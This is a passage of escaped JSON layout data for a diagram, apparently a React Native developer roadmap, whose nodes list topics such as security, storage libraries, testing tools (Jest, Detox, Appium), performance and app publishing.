\"deletable\": true,\n      \"data\": {\n        \"label\": \"DeepLinking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 184\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.62298223659093,\n        \"y\": 1522.4007482223487\n      }\n    },\n    {\n      \"id\": \"CGtVwhVGc8Vea5RfzJvQG\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -380.62298223659093,\n        \"y\": 1653.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 184\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.62298223659093,\n        \"y\": 1653.4007482223487\n      }\n    },\n    {\n      \"id\": \"LRBHwYiT0Yyi18PwR49rc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -137.6229822365909,\n        \"y\": 1545.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Authentication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NdjmP1bZNYriV08vb-iRw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170\n      },\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -137.6229822365909,\n        \"y\": 1545.4007482223487\n      }\n    },\n    {\n      \"id\": \"ee4QqFTosXNcTgoQIok8i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -137.6229822365909,\n        \"y\": 1598.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Networking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NdjmP1bZNYriV08vb-iRw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170\n      },\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -137.6229822365909,\n        \"y\": 1598.4007482223487\n      }\n    },\n    {\n      \"id\": \"NdjmP1bZNYriV08vb-iRw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -137.6229822365909,\n        \"y\": 1651.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"f7KFPFS2-EA90pumYHM9T\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170\n      },\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -137.6229822365909,\n        \"y\": 1651.4007482223487\n      }\n    },\n    {\n      \"id\": \"w0WW1kg_0BEMeLa1l2gb5\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -380.62298223659093,\n        \"y\": 1759.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 184\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.62298223659093,\n        \"y\": 1759.4007482223487\n      }\n    },\n    {\n      \"id\": \"WsJGiMjHSQ6MpPd5wuP9h\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -712.1381872719935,\n        \"y\": 1632.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"react-native-async-storage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"apXv-E6LvOuOMj3EpzwuA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 194\n      },\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -712.1381872719935,\n        \"y\": 1632.4007482223487\n      }\n    },\n    {\n      \"id\": \"grThT8cvnrbgsa1mx2Dew\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -661.9579568300146,\n        \"y\": 1695.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Expo Ecosystem\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 143,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -661.9579568300146,\n        \"y\": 1695.4007482223487\n      }\n    },\n    {\n      \"id\": \"JgBfwmOgcVi_a96L5NGwr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -698.4579568300146,\n        \"y\": 1739.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"expo-secure-store\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oK8z23a_CjcDjBJ843_Jn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -698.4579568300146,\n        \"y\": 1739.4007482223487\n      }\n    },\n    {\n      \"id\": \"9pvrXH5Drdsa1cr93UBdc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -698.4579568300146,\n        \"y\": 1792.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"expo-file-system\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oK8z23a_CjcDjBJ843_Jn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -698.4579568300146,\n        \"y\": 1792.4007482223487\n      }\n    },\n    {\n      \"id\": \"oK8z23a_CjcDjBJ843_Jn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -698.4579568300146,\n        \"y\": 1845.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"expo-sqlite\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 255\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -698.4579568300146,\n        \"y\": 1845.4007482223487\n      }\n    },\n    {\n      \"id\": \"vZMsm-MtsqmQMD-MG6zJY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -712.1381872719935,\n        \"y\": 1920.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Other Storage Options\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"apXv-E6LvOuOMj3EpzwuA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 194\n      },\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -712.1381872719935,\n        \"y\": 1920.9007482223487\n      }\n    },\n    {\n      \"id\": \"G15Aey-Spax_iUHpm1v38\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -380.62298223659093,\n        \"y\": 1906.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 184\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.62298223659093,\n        \"y\": 1906.4007482223487\n      }\n    },\n    {\n      \"id\": \"AolcZu6TMqKHcCLs1is9Z\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -451.6381872719935,\n        \"y\": 1628.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 341\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -451.6381872719935,\n        \"y\": 1628.4007482223487\n      }\n    },\n    {\n      \"id\": \"06gsRokwjxVa2xyLY4qAb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -139.1381872719935,\n        \"y\": 1789.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Jest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"spTzJMS7cE0cNa7tVQhVQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 77,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 163,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -139.1381872719935,\n        \"y\": 1789.9007482223487\n      }\n    },\n    {\n      \"id\": \"ZJvxa-sPRRWCiqHubqEEZ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 96.8618127280065,\n        \"y\": 1852.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Component Tests\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"zam_qKfqtKuYyPGos1CrF\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 151,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 96.8618127280065,\n        \"y\": 1852.9007482223487\n      }\n    },\n    {\n      \"id\": \"81tmis0km2h1zsjS2HsP5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 39.8618127280065,\n        \"y\": 1948.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"React Test Renderer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"spTzJMS7cE0cNa7tVQhVQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264\n      },\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 39.8618127280065,\n        \"y\": 1948.9007482223487\n      }\n    },\n    {\n      \"id\": \"-b4LfjCjkSZ6ZsSv3eFm6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 39.8618127280065,\n        \"y\": 1895.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"React Native Testing Library\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"spTzJMS7cE0cNa7tVQhVQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264\n      },\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 39.8618127280065,\n        \"y\": 1895.9007482223487\n      }\n    },\n    {\n      \"id\": \"zam_qKfqtKuYyPGos1CrF\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -109.62298223659093,\n        \"y\": 1854.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"E2E Testing\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 109,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -109.62298223659093,\n        \"y\": 1854.4007482223487\n      }\n    },\n    {\n      \"id\": \"3m7ANLJvtx3zie4y86MNU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -115.62298223659093,\n        \"y\": 1896.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Detox\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"spTzJMS7cE0cNa7tVQhVQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264\n      },\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -115.62298223659093,\n        \"y\": 1896.9007482223487\n      }\n    },\n    {\n      \"id\": \"spTzJMS7cE0cNa7tVQhVQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -115.62298223659093,\n        \"y\": 1949.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Appium\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264\n      },\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -115.62298223659093,\n        \"y\": 1949.9007482223487\n      }\n    },\n    {\n      \"id\": \"NIJzKzWlsciAjxUpm4K2v\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -380.62298223659093,\n        \"y\": 2178.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Performance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 184\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.62298223659093,\n        \"y\": 2178.4007482223487\n      }\n    },\n    {\n      \"id\": \"1U3AiCDWEVEKsofWtqavi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -92.6229822365909,\n        \"y\": 2070.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Understand Frame Rates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"apXv-E6LvOuOMj3EpzwuA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -92.6229822365909,\n        \"y\": 2070.4007482223487\n      }\n    },\n    {\n      \"id\": \"afwB90L-q2hIwrA0LtWbG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -92.6229822365909,\n        \"y\": 2123.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Common Problem Sources\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"apXv-E6LvOuOMj3EpzwuA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -92.6229822365909,\n        \"y\": 2123.4007482223487\n      }\n    },\n    {\n      \"id\": \"LL2ZkB7BuELyY2mPQhkAj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -92.6229822365909,\n        \"y\": 2176.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Speeding up Builds\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"apXv-E6LvOuOMj3EpzwuA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -92.6229822365909,\n        \"y\": 2176.4007482223487\n      }\n    },\n    {\n      \"id\": \"PyPjHnKIWpnFHal8RuSmX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -92.6229822365909,\n        \"y\": 2229.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Optimizing Flatlist Config\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"apXv-E6LvOuOMj3EpzwuA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -92.6229822365909,\n        \"y\": 2229.4007482223487\n      }\n    },\n    {\n      \"id\": \"u5I-EOnA_yt6AQsRX-qr0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -92.6229822365909,\n        \"y\": 2282.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"RAM Bundles + Inline Requires\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"apXv-E6LvOuOMj3EpzwuA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -92.6229822365909,\n        \"y\": 2282.4007482223487\n      }\n    },\n    {\n      \"id\": \"apXv-E6LvOuOMj3EpzwuA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -92.6229822365909,\n        \"y\": 2335.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Profiling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oK8z23a_CjcDjBJ843_Jn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -92.6229822365909,\n        \"y\": 2335.4007482223487\n      }\n    },\n    {\n      \"id\": \"0BMpZDc-1rSvETwX82zON\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -701.1381872719935,\n        \"y\": 2178.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Using Native Modules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 69,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 184\n      },\n      \"positionAbsolute\": {\n        \"x\": -701.1381872719935,\n        \"y\": 2178.4007482223487\n      }\n    },\n    {\n      \"id\": \"b-1-JcwLSGMyH3gXS59lY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -708.115904405851,\n        \"y\": 2092.461728962983\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"For iOS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wMxTB8WgU6e-oYMtQFCDY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -708.115904405851,\n        \"y\": 2092.461728962983\n      }\n    },\n    {\n      \"id\": \"wMxTB8WgU6e-oYMtQFCDY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -601.115904405851,\n        \"y\": 2092.461728962983\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"For Android\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -601.115904405851,\n        \"y\": 2092.461728962983\n      }\n    },\n    {\n      \"id\": \"4U-HZQGH7kaWCB94Xy8Mh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -701.1381872719935,\n        \"y\": 2490.7541881503926\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Publishing Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"08qKtgnhJ3tlb5JKfTDf5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 184\n      },\n      \"positionAbsolute\": {\n        \"x\": -701.1381872719935,\n        \"y\": 2490.7541881503926\n      }\n    },\n    {\n      \"id\": \"1s9Y1dUtjpW9pu74ipX99\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -701.1381872719935,\n        \"y\": 2587.3839027091694\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Apple App store\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"D8T9cZ5zKi_KZDr9tDpCf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234\n      },\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -701.1381872719935,\n        \"y\": 2587.3839027091694\n      }\n    },\n    {\n      \"id\": \"D8T9cZ5zKi_KZDr9tDpCf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -701.1381872719935,\n        \"y\": 2640.3839027091694\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Google Play Store\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234\n      },\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": 